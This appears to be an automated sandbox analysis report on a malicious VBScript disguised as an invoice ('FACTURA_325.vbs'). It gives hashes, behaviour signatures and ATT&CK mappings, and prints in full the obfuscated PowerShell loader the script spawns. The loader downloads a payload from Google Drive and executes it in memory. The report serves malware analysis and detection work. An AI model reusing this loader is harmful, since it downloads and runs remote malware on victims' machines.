487900466cf9a708a96f2bac15da523c6864b88ffb0090b6b58d114b141d8e86

General

Target

FACTURA_325.vbs
Size

210KB
MD5

4dd365afd7e8492402b7085ddc4bd66b
SHA1

2abc1ea2974a94af2baae30e6b37e0112e518b93
SHA256

487900466cf9a708a96f2bac15da523c6864b88ffb0090b6b58d114b141d8e86
SHA512

bdadf6d6ea9d9df61dd8440276820788e2a60c0ecf4019968ca80f88584a6230dec5bb5d450f1ef3ebb9feed75a65c64b7434297c815005b64b1c29eab6545f3
SSDEEP

6144:dYBgIjQvrMbWSR4WHUJJs9E87Fy4lZrUChpqKmjum4QlNVrDjXR46cCPCRJfSq7f:m2dO177Oc

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	880	WScript.exe
11	780	powershell.exe
19	780	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-553605503-2331009851-2137262461-1000\Control Panel\International\Geo\Nation	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
10	drive.google.com
11	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
780	powershell.exe
780	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	780	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 880 wrote to memory of 780	880	WScript.exe	84
PID 880 wrote to memory of 780	880	WScript.exe	84
PID 780 wrote to memory of 1624	780	powershell.exe	86
PID 780 wrote to memory of 1624	780	powershell.exe	86

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FACTURA_325.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Natrojarosite = 1;$Resmedlemmet='Substrin';$Resmedlemmet+='g';Function Swith($Grelot){$Eksempelteksterne=$Grelot.Length-$Natrojarosite;For($Knowability=5; $Knowability -lt $Eksempelteksterne; $Knowability+=(6)){$Gloserne132+=$Grelot.$Resmedlemmet.Invoke($Knowability, $Natrojarosite);}$Gloserne132;}function dirigentklokkens($Deliberations){. ($Computerprogrammrer) ($Deliberations);}$Flyttevogne=Swith 'V.skeMStivnoLandsz Q adiIvoryl orfilSammeaHje,l/Ans a5S rde. Emis0Mulen Mu,i(BygniWSljeri arnlnPinksdBecurofimrewW.odisScabr miljbN OverTNonli Rupti1U,luf0 Afva.Flor 0Evapo;Ne.hr Pro,Wk,asmiSt,mknBanks6At,od4Sekti;Slubb Klerix S.at6 fla4Hylde;Bundg JacarResdovKoghe:Pla e1S,lee2 Hytt1Takof.stdpu0Circu)Aktio NontiGMiliteDuftec Papak.lotaoHaema/ Tota2Xosau0Overe1Ti.lb0Uigen0 S,dd1Vandb0Hurea1Arbej SenhFRsteri lorerMed,aeEsterf,nshoo syk xFa.rs/Su.ak1Harsk2Ukamp1Subcl. Nu.r0 Oppu ';$Misintelligible200=Swith 'TenaiUUnjoisOophoem.tsurIndeh-SkrpeAUnascgStempe K kenVedlitUd.mp ';$Centralperspektiverne=Swith ' Cleah umpetShametHjrehpHrligsTiger:Xylog/Lunge/Betwidnegror UraniLonkivqui,re Rygr.padlegPenlio veraoCol.egQu ddlNydame ops.SkattcIn eroR,cermPr,gr/ Curlu MusscFl.te?TilskeFelupxKaya p ZelaoSha.prTi,htt Matr=PomoldAmyosoDaemowSpletnmo.silUdspio In oaInfiedtopme&TursciUnhaldEnrob=Stra.1,eltaxSprin6Ca saNHeltapSodavMhjforITeaktNBrudeSNatioZ ,senhSamm.SrichlC Sl.liPandaM Klo,zS ockpCynis7 .elvNCahok5Te.noF fr hT RadiSEndelESigbrZFishi8Al.doSAftryGOverpnDacryG Citr1DisslJRob.nUSul e ';$Dummyens=Swith 'Se,ip>Teleb ';$Computerprogrammrer=Swith 'KonstiEnergeSonn.x Luc ';$Tobaksfabrikkens = Swith 'Profeecall cFr dshComploIntim Far %Skra,aB aliplitogpMi,itdAfkl.aVarictArgumaF.rkr%Enhea\fj,rtST.rnoa T.icg KryssGalbabordkleSkam h.orsga SkolnTi,erdPlayolUskifi HarvnLabyrgSyk.rsAbi ssBop eyCetans orgmt Pinne Sp rmAnato2 Haan3St,ts7Freg,. ProfRFrimriLega.v Si,k Lek.i&B,tik&Sa gs IlluseUdkancInfo,hBoxieoMater Tilsl$We.dm ';dirigentklokkens (Swith 'Und,r$ Leucg RisilSelvfoSubexbNiko.aMimeolR,fac:UnshoT,rstejE pireRetshn isaneA.ndssPapmltE pyreSaturyVe ledsimpees,rafl KosasIndekeIgno,sSa.me=S,lvu(DeflocGeninm OpnodNomad Helle/Stev.cZooto kni,p$IonisTRe aro De,tbKa ata.uclekAvlensHemi,f.eligaSjle.bBygger jemmiRdderkRestek lavieSacranSdyg.sKios,)Uncol ');dirigentklokkens (Swith 'Muss.$coquegFrem l KlinoDed,cbwheena.yclolCalli:AnodiS Ne.spUnfriaCa.nolBagsttPaladeFig rr TilpsSangd1 edel6Penge2Galo,= Miss$transCUnscreKageknForbat NoncrPus.caLemonlDataupKlippeteltsrRensssBiltopAndroeir.edkUneattW.iski LngdvIrr,teStridrSyddanDd,treKued,. Trins Opsap B helSec,niArbejt Lers(ti,ba$HorseDIn,eruNeu om DrivmTery yTrawleKefirnQuatesRos.a)D,jbu ');$Centralperspektiverne=$Spalters162[0];dirigentklokkens (Swith '.yste$Bi.dwg,nigmlreda.oMiliebantisa,ouselPedro:ForanFFi,keaDildasAiresh stave naladBas,l= EiviNG vlheSlagtwbenzi-YngleOD.legbBo.dijIsoteeReaddc To,stantiq U naSRestpy.ngdes BlootPrinte Skrom Ursp.S.omiNStaffeL.dnitForm,.WaregWP.ykoetyndsbMelleC LinolObeliiKartoeSkeptnBeskytSubst ');dirigentklokkens (Swith 'p ote$ Pyo FKert aDerousUligeh selfePar.id eser.HouseH spene nistaT,ansdBedwaeGrundr Sem.s tr,n[H mat$ErkynM Uds iDet,ks ,ngvi fe mnStyggtNewfaeU,penlRede lDemisi,ocergHydr.iniob bAdli.l P.nse Mark2qua r0 Moti0Int,o] Gian=Disp $OpklaFskrivl Augsy,rmant Bokst VandeUad lvfingeoC llegPrefonDatateEmiss ');$Solpletterne=Swith ' PartF ScabaSkr vsPr kmh too,eKinnidPrin..Gela,D M kroDron wUphurnPa til arlyo NonaaKlbkid wineF op.yida,delSingue.eana( B so$FjeldCPaakeeNonpuntikamtAfroar ManiaDriftlUnredp.ecameSagkyr DurssHandfpAkilleMillikVirilt.eacei Storv Varee Spitr Spatnamygde Pin ,G.dst$L,mpeF fvikoSilkwrDecafcAfgrseHofterKarame Posy) Nobu ';$Solpletterne=$Tjenesteydelses[1]+$Solpletterne;$Forcere=$Tjenesteydelses[0];dirigentklokkens (Swith 'Unvu,$Unresg FunklGenstoM torb.tomkaForbel Vaag:RepriHkvarte BombuFlyvecI.dsahRicci=Drvle(ShariTImpoteUndissKonkrtAnnam-MakarPKva iaDybettangerhAngey Profe$a,rsrFNakskoFiss.rStra cQueereSkildrBruxeeRdvig)Blaas ');while (!$Heuch) {dirigentklokkens (Swith 'Griml$Bajong MinelKrikkoR latbBatteaBrushlBoyar:MesmePPau.eaSk.lsnBeguinOsculeF,neslUtopilOlogia SabitCoatii ToksoDivernP exy=Therm$Tran.tAcranrSkurru OvereUnder ') ;dirigentklokkens $Solpletterne;dirigentklokkens (Swith ' NyopS,sthat ClevaRoligrAfstrtTearf-KatabSPotbolComouesr laeDosaep lvhy Hormo4Tinte ');dirigentklokkens (Swith 'Ca el$BaandgCoix lApag.o KappbO.doya Or sl Utak:EntitHZ.pbue Pen,uDeletc.oldehI,vin= Fome(UnspeT,adereBikl,s arrt ortl-AktivPSuperaGravet Termh.igbe Ko.o$.erisF Bor.o laasrCe.tic Ter e pnderUnimpeMisde)Mande ') ;dirigentklokkens (Swith 'Kredi$DeflagAmar lS atko Dis bNe,teaP.rielFir.a:StewaF Kaffl tro iafstud TransFr rvpKvi drCopyhm Incoii careBalfar BeflnMokkee Radb= Asyn$ GenngSop ilPompho ondobFrontaSkravlHosio:KlaneLLaundiThyrobJetmaeFusker PeriiLnrklsVolupkGu py1Duffs+ Figu+Mold % ,ack$SafraSIdentpHafisaoverslD,eeitSystee,lvsmrV.ntesVirks1Phase6Margi2Te at.NonexcSletfoPaleou AkinnMelbut kna. ') ;$Centralperspektiverne=$Spalters162[$Flidsprmierne];}dirigentklokkens (Swith 'Awful$,lutpgSynftl armoDrogebLydblaUnwadlMenag:SeksuLF aveiVentuv SupessamfuvOmstnaSparirSi.nfiIndstgpr toh Eurue AfgidG uze Incre= ,rom ForprGChockenit otCurab-G.ffeCSmintoPnyxlnImpoutUdbrueFul inOverdt Mon G.und$CountFOpjusoPlonkrStordcSte,ee TintrBe.ine Tame ');dirigentklokkens (Swith 'Af.ul$SantigOen tlKitzaoButikbElectaZ,motlMorge:RodwoR Atmoo HaarmMinedeInters.avltcFis eoTillutMaale S ul=Sone, Benn[PaxilSBandiy Tho sBercetDem.ne C afmFor,a.EncysCRepugoKapitnExulcvEmpire rat r Ski.tAccus],emis:Tirre: UncuFFrequrPre ioGrundmBommeBwalloaUdk,ksB,ugee ,lgg6Kvden4PeracS EftetC,ondrOploei,lastnRidesgk.nku( R ts$ idnaLAlleriIslamv Aa,ssUndervMaytha ElecrClamoi ipesg ravhF,stgeSpraid Endo)Pal.f ');dirigentklokkens (Swith 'Kursu$KirklgP.enelAlderoSpisebMembeaA,klelQuadr: portTTigonrJunkya Lla nAutops OveriMi.vittagpae marbrQu asiAfbenn.ntrog KalceSentinUnsol Lino=Parti Glari[A.pliSDressyEksposDumdrtA tileUtjenm jeff.ShrimTSkvvieSp llxKostpt .ald.PurifEHauflnBauxicTa lioViderd,mposiEvapon ,delgPende] evok:noncr:AllopAHydroS VandCSp,geIGrns.Iunviv.ExploGRe onePilletKlu eSDagpetH.stor unaliKniben Unmagpogo ( Auto$blomsRForh ochessmStubieFlyvesAdestcUb anoAldertF.ppl)Undis ');dirigentklokkens (Swith 'Bghjo$Radargp asml Low oB.ttebUnsheaSeismlElekt:IndsmSbl.sty BullmCoachpSmadroAarstsAagreiTranssObligi elmauNonvem HummsR,fug=H,ben$b.nddTA therOff caEserin isss NonaiSovkhtUmynde Ven.rYighaiHovedn Destg Act,eMali.n Afga.Immats ,arauBen.ebTiltysHypoktassocrRets iFigurnKnsesgVrage( syns3Ronne0 Skva7Nnsom8unmil4Ideal0str,n, Beto2An,ic8Sluff3B ydn1Mec.i2 Jotd)Hepar ');dirigentklokkens $Symposisiums;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:780
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sagsbehandlingssystem237.Riv && echo $"
    3⤵
    PID:1624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wae5lgpx.1az.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/780-4-0x0000014F429E0000-0x0000014F42A02000-memory.dmp

Filesize
136KB

Download
memory/780-12-0x00007FF983270000-0x00007FF983D31000-memory.dmp

Filesize
10.8MB

Download
memory/780-13-0x0000014F429D0000-0x0000014F429E0000-memory.dmp

Filesize
64KB

Download
memory/780-14-0x0000014F429D0000-0x0000014F429E0000-memory.dmp

Filesize
64KB

Download
memory/780-15-0x0000014F429D0000-0x0000014F429E0000-memory.dmp

Filesize
64KB

Download
memory/780-20-0x00007FF983270000-0x00007FF983D31000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing